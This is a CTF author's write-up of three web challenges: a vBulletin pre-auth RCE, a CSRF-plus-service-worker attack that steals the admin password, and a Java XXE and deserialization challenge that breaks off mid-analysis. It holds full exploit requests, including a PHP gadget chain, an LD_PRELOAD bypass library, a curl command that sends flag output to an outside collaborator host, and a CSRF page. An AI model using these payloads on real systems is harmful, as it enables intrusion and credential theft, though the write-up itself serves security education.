This year marks the first time WannaGame Championship is organized for teams both domestically and internationally. It also might be the last year I contribute challenges for the university-level competition. Hopefully, it is! 🥺
Below is the write-up for 3 challenges that I made in this competition.
vB
This challenge was inspired by an evening when I was casually scrolling through Twitter. I happened to come across a blog post discussing a pre-auth RCE vulnerability in vBulletin - a software commonly used to build online forums, especially by educational institutions.
Afterward, I tested the exploit on a few real-world targets, and eventually created vB
.
There will be some limitations related to the environment in which this forum is built, so it's not possible to directly use the PoC from the blog post to solve it.
For example, trying to directly access /ajax/api/user/save
will cause a 403 status code.
Analysis
If you follow the right path, this challenge could be turned into a gray box or even a white box one, I think. vBulletin is not open-source software, so first, you need to find a way to obtain its source code.
After conducting some information gathering, you can obtain the "null" version of it (any version smaller than or equal to 5.6.9 is still ok) as well as the setup instructions in this link.
By checking the source code, we can find a way to bypass the endpoint restriction, and it is /index.php?routestring=ajax/api/user/save
So here comes another problem, searchprefs
in the POC is blocked. But it's easy to bypass, just use another field which was also verified by the function verify_serialized()
and one of them is subfolders
(I found it in an earlier version of vbulletin, in which many php classes were not packaged into phar file)
But winning the game is not that simple; there will be nothing in the response if you use system()
due to PHP disable_functions.
With the source code in hand, you can experiment with different PHP gadgets in core\packages\googlelogin\vendor
.
Here is the summary:
Guzzlehttp/FW1 -> file write
Guzzlehttp/RCE1 -> calling a function with one parameter.
PHPSeclib -> eval php code
The second is similar to monolog, so let's take a look at the first and the third gadget. You can try the Guzzlehttp file write gadget, and use this repo to bypass disable functions. It should work in some real-case targets, but not in this challenge because I set the permission of document root to 555
.
Guzzlehttp/FW1 -> file writeGuzzlehttp/RCE1 -> calling a function with one parameter.PHPSeclib -> eval php code
So, we have one last gadget remaining, PHPSeclib, which will help us execute PHP code. But eval()
is also disabled, or is it? ...The answer is no, it isn't.
-> Arbitrary code execution.
To be honest, I still use the above repo to bypass disable functions, but it didn't work. At the time I wrote this write-up, I hadn't figured it out yet. When using the PHPSeclib gadget, php code is executed inside a lambda function, and I don't know if that is the problem (if you find out the reason, please let me know 😆).
The method I used to overcome this problem is LD_PRELOAD
, idea is to write a bypass.so
file in the file system. After that, set the LD_PRELOAD
environment variable to it, and finally, call the PHP mail()
function.
Exploit
Request write .so file:
POST /?routestring=ajax/api/user/save HTTP/1.1
Host: vbu.w1chall.io.vn:1111
Content-Length: 10158
Connection: close
options=
&adminoptions=
&userfield=
&userid=0
&user[email]=1csdc2cwdcccccasd@a.com
&user[username]=sdccccccd
&password=password&user[password]=password
&user[subfolders]=<@urlencode>a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;a:1:{i:0;O:18:"phpseclib\Net\SSH1":2:{s:6:"bitmap";i:1;s:6:"crypto";O:19:"phpseclib\Crypt\AES":8:{s:6:"bitmap";i:1;s:6:"crypto";i:1;s:10:"block_size";N;s:12:"inline_crypt";a:2:{i:0;O:25:"phpseclib\Crypt\TripleDES":6:{s:10:"block_size";s:54:"1){}}}; ob_clean();
eval($_POST['payload']);die(); ?>";s:12:"inline_crypt";N;s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}i:1;s:26:"_createInlineCryptFunction";}s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}}}}<@/urlencode>&securitytoken=guest&payload=<@urlencode>
file_put_contents("/tmp/bypass.so", base64_decode("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AAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=="));
<@/urlencode>
Request execute /readflag
and send to burp collab
POST /?routestring=ajax/api/user/save HTTP/1.1
Host: vbu.w1chall.io.vn:1111
Connection: close
options=
&adminoptions=
&userfield=
&userid=0
&user[email]=1csdc2cwdcccccasd@a.com
&user[username]=sdccccccd
&password=password&user[password]=password
&user[subfolders]=<@urlencode>a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;a:1:{i:0;O:18:"phpseclib\Net\SSH1":2:{s:6:"bitmap";i:1;s:6:"crypto";O:19:"phpseclib\Crypt\AES":8:{s:6:"bitmap";i:1;s:6:"crypto";i:1;s:10:"block_size";N;s:12:"inline_crypt";a:2:{i:0;O:25:"phpseclib\Crypt\TripleDES":6:{s:10:"block_size";s:54:"1){}}}; ob_clean();
eval($_POST['payload']);die(); ?>";s:12:"inline_crypt";N;s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}i:1;s:26:"_createInlineCryptFunction";}s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}}}}<@/urlencode>&securitytoken=guest&payload=<@urlencode>
if (isset($_POST["env"])) {
foreach ($_POST["env"] as $key => $value) {
putenv($key."=".$value);
}
}
mail(1,1,1);
<@/urlencode>&env[LD_PRELOAD]=/tmp/bypass.so&env[EVIL_CMDLINE]=<@urlencode>curl -X POST -d $(/readflag|base64 -w0) http://5cirrlmwc83g67z0k1vkbkawsnyem4at.oastify.com<@/urlencode>
And the flag
SecureApp
Analysis
This challenge was inspired by some techniques I learned from Strellic. The application is quite simple, a website that only allows administrators to upload images and the flag is also the administrator password.
The bot will first log in to the website, then access the provided URL path, and finally, navigate to /api/logout.php
to log out by re-entering the admin password (flag).
Take a look at the web application, it allows admin to upload some image files like svg, png, gif, jpg, jpeg and ... js 🤔. The upload file is checked via php gd function imagecreatefromstring()
, and finally written into current working directory with a random name.
And if the uploading request is from admin panel site, then it just returns the path to the recently uploaded file else redirects to the file.
So, currently, we have
The ability to upload some special files: js and svg (xss)
The web app does not implement csrf token and the SameSite attribute is not explicitly set so maybe csrf will work.
Let's go through each possible vulnerability
CSRF
An HTTP request upload file looks like this, and the body is in JSON format
On the server, it simply decodes the JSON and checks if the required fields exist.
So to exploit CSRF at /api/file.php
we need to consider two things:
The SameSite attribute for cookies is not set; it defaults to Lax, and the cookie can be sent cross-site in the first two minutes after being set (https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b).
The server does not check the 'Content-Type: application/json' header in the request, so we just need to ensure that the body sent resembles JSON. JSON CSRF is a bit complicated, and requires a lot of knowledge about simple requests, complex requests, safe request methods, safe request headers, CORS ... but in this challenge, we just use html form to perform CSRF.
XSS & Service worker
There are two special files we can upload: js and svg, svg file can help us archive cross site scripting attack. About js, we will need to bypass the image checking by the imagecreatefromstring()
function and the solution is making a GIF/Javascript Polyglot.
Next, pay attention to the bot's behavior, it first logs into the site then navigates to the provided url and finally logs out by entering the password again. Based on this, we can register a service worker with scope /api/
, the polyglot gif/js file is also located in /api
so the scope is satisfied.
The idea is to return our malicious form with the input name confirm_code
and action point to our webhook, so when bot submits password, it will be sent to our server.
Exploit
Create js/polyglot file
Set up an exploit page, which will make the bot upload a svg file and after being redirected to the uploaded file, it will continue to upload a gif/js polyglot file and register service worker at /api
.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://app/api/file.php" id="csrf-form" method="POST" enctype="text/plain">
<input name='{"filename":"xss.svg", "base64_content": "PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDEuMS8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9HcmFwaGljcy9TVkcvMS4xL0RURC9zdmcxMS5kdGQiPgoKPHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogIDxwb2x5Z29uIGlkPSJ0cmlhbmdsZSIgcG9pbnRzPSIwLDAgMCw1MCA1MCwwIiBmaWxsPSIjMDA5OTAwIiBzdHJva2U9IiMwMDQ0MDAiLz4KICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgICAgIHZhciBteURhdGEgPSB7CiAgICAgICAgICBmaWxlbmFtZTogJ2dpZl94c3NfcG9seWdvdC5qcycsCiAgICAgICAgICBiYXNlNjRfY29udGVudDogJ1IwbEdPRGxoTHlvTkFKSC9BQUFBQUFBQW1jREF3UC8vL3lINUJBRUFBQUlBTEFBQUFBQUxBQTBBUUFJaWhHK2lNT0VmaG1sdldJbnlvVTVLd1VEVkpIYlRaU1VnbWlJc2VyNlkzTkpTQVFBN0tpODlNVHR2Ym1abGRHTm9QU2hsS1QwK2UybG1LR1V1Y21WeGRXVnpkQzUxY213dWFXNWpiSFZrWlhNb0p5OWhjR2t2Ykc5bmIzVjBMbkJvY0NjcEtYdGxMbkpsYzNCdmJtUlhhWFJvS0c1bGR5QlNaWE53YjI1elpTaGdQR1p2Y20wZ1lXTjBhVzl1UFNKb2RIUndPaTh2TlhZNU1ITjZZbXd1Y21WeGRXVnpkSEpsY0c4dVkyOXRJaUJ0WlhSb2IyUTlJbEJQVTFRaVBqeHBibkIxZENCMGVYQmxQU0p3WVhOemQyOXlaQ0lnYVdROUltTnZibVpwY20xZlkyOWtaU0lnYm1GdFpUMGlZMjl1Wm1seWJWOWpiMlJsSWlCeVpYRjFhWEpsWkQ0OGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQjJZV3gxWlQwaWMzVmliV2wwSWo0OEwyWnZjbTArWUN4N2FHVmhaR1Z5Y3pwN0owTnZiblJsYm5RdFZIbHdaU2M2SjNSbGVIUXZhSFJ0YkNkOWZTa3BmWDA9JwogICAgICB9OwoKICAgICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICB4aHIub3BlbignUE9TVCcsICdodHRwOi8vYXBwOjgwL2FwaS9maWxlLnBocCcsIHRydWUpOwogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsKICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKaWYgKCJzZXJ2aWNlV29ya2VyIiBpbiBuYXZpZ2F0b3IpIHsKICAgICAgICAgIG5hdmlnYXRvci5zZXJ2aWNlV29ya2VyLnJlZ2lzdGVyKHhoci5yZXNwb25zZVVSTCwgewogICAgICAgICAgc2NvcGU6ICcvYXBpLycKICAgICAgfSk7Cn1lbHNlIGNvbnNvbGUubG9nKCJOb3Qgc3VwcG9ydCBzZXJ2aWNlIHdvcmtlciIpOwoKICAgICAgfTsKCiAgICAgIC8vIENvbnZlcnQgdGhlIGRhdGEgb2JqZWN0IHRvIGEgSlNPTiBzdHJpbmcgYW5kIHNlbmQgaXQgYXMgdGhlIHJlcXVlc3QgYm9keQogICAgICB2YXIgcmVxdWVzdERhdGEgPSBKU09OLnN0cmluZ2lmeShteURhdGEpOwogICAgICB4aHIuc2VuZChyZXF1ZXN0RGF0YSk7CiAgPC9zY3JpcHQ+Cjwvc3ZnPgo=", "foo":"}' value='"}' type="hidden" />
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
</body>
</html>
flag
Art Galery
Analysis
An executable file
/readflag
with SUID bit so the goal is to execute this file to get the flag, the applicationart_galery.jar
is run withbabyrasp
agent (we will talk about it later)The JDK version is 15, it is still not very high so we won't face any problems with high version restriction.
Folder structure of the source code
IndexController simply returns the homepage
The homepage will make requests to /api/decompress
with a path
parameter representing the image to be decompressed. It performs gzip decompression based on the path and reads the object from that input stream using the SecureObjectInputStream
class.
Bellow, there is an additional endpoint for xml parsing, but it blocked some dangerous keywords like system
, http
...
It only blocked keywords, without enabling the disallow-doctype-decl
feature or disabling external-general-entities
and external-parameter-entities
. So you can easily bypass with the html entity encode trick (read here), we can directly read/list files and ... create file - an old trick in java in that we abuse the jar protocol and hang the connection when fetching a file from the server to make it keep the temp file not being deleted.
With the ability to create file, we can exploit insecure deserialization from /api/decompress
. The hardest part of the challenge will start from here.
Look-ahead ObjectInputStream mitigation bypass
SecureObjectInputStream
is look-ahead deserialization mitigation in java and in this case Dictionary
, HashMap
, Runtime
classes and the popular class BadAttributeValueExpException
which has been used to trigger toString()
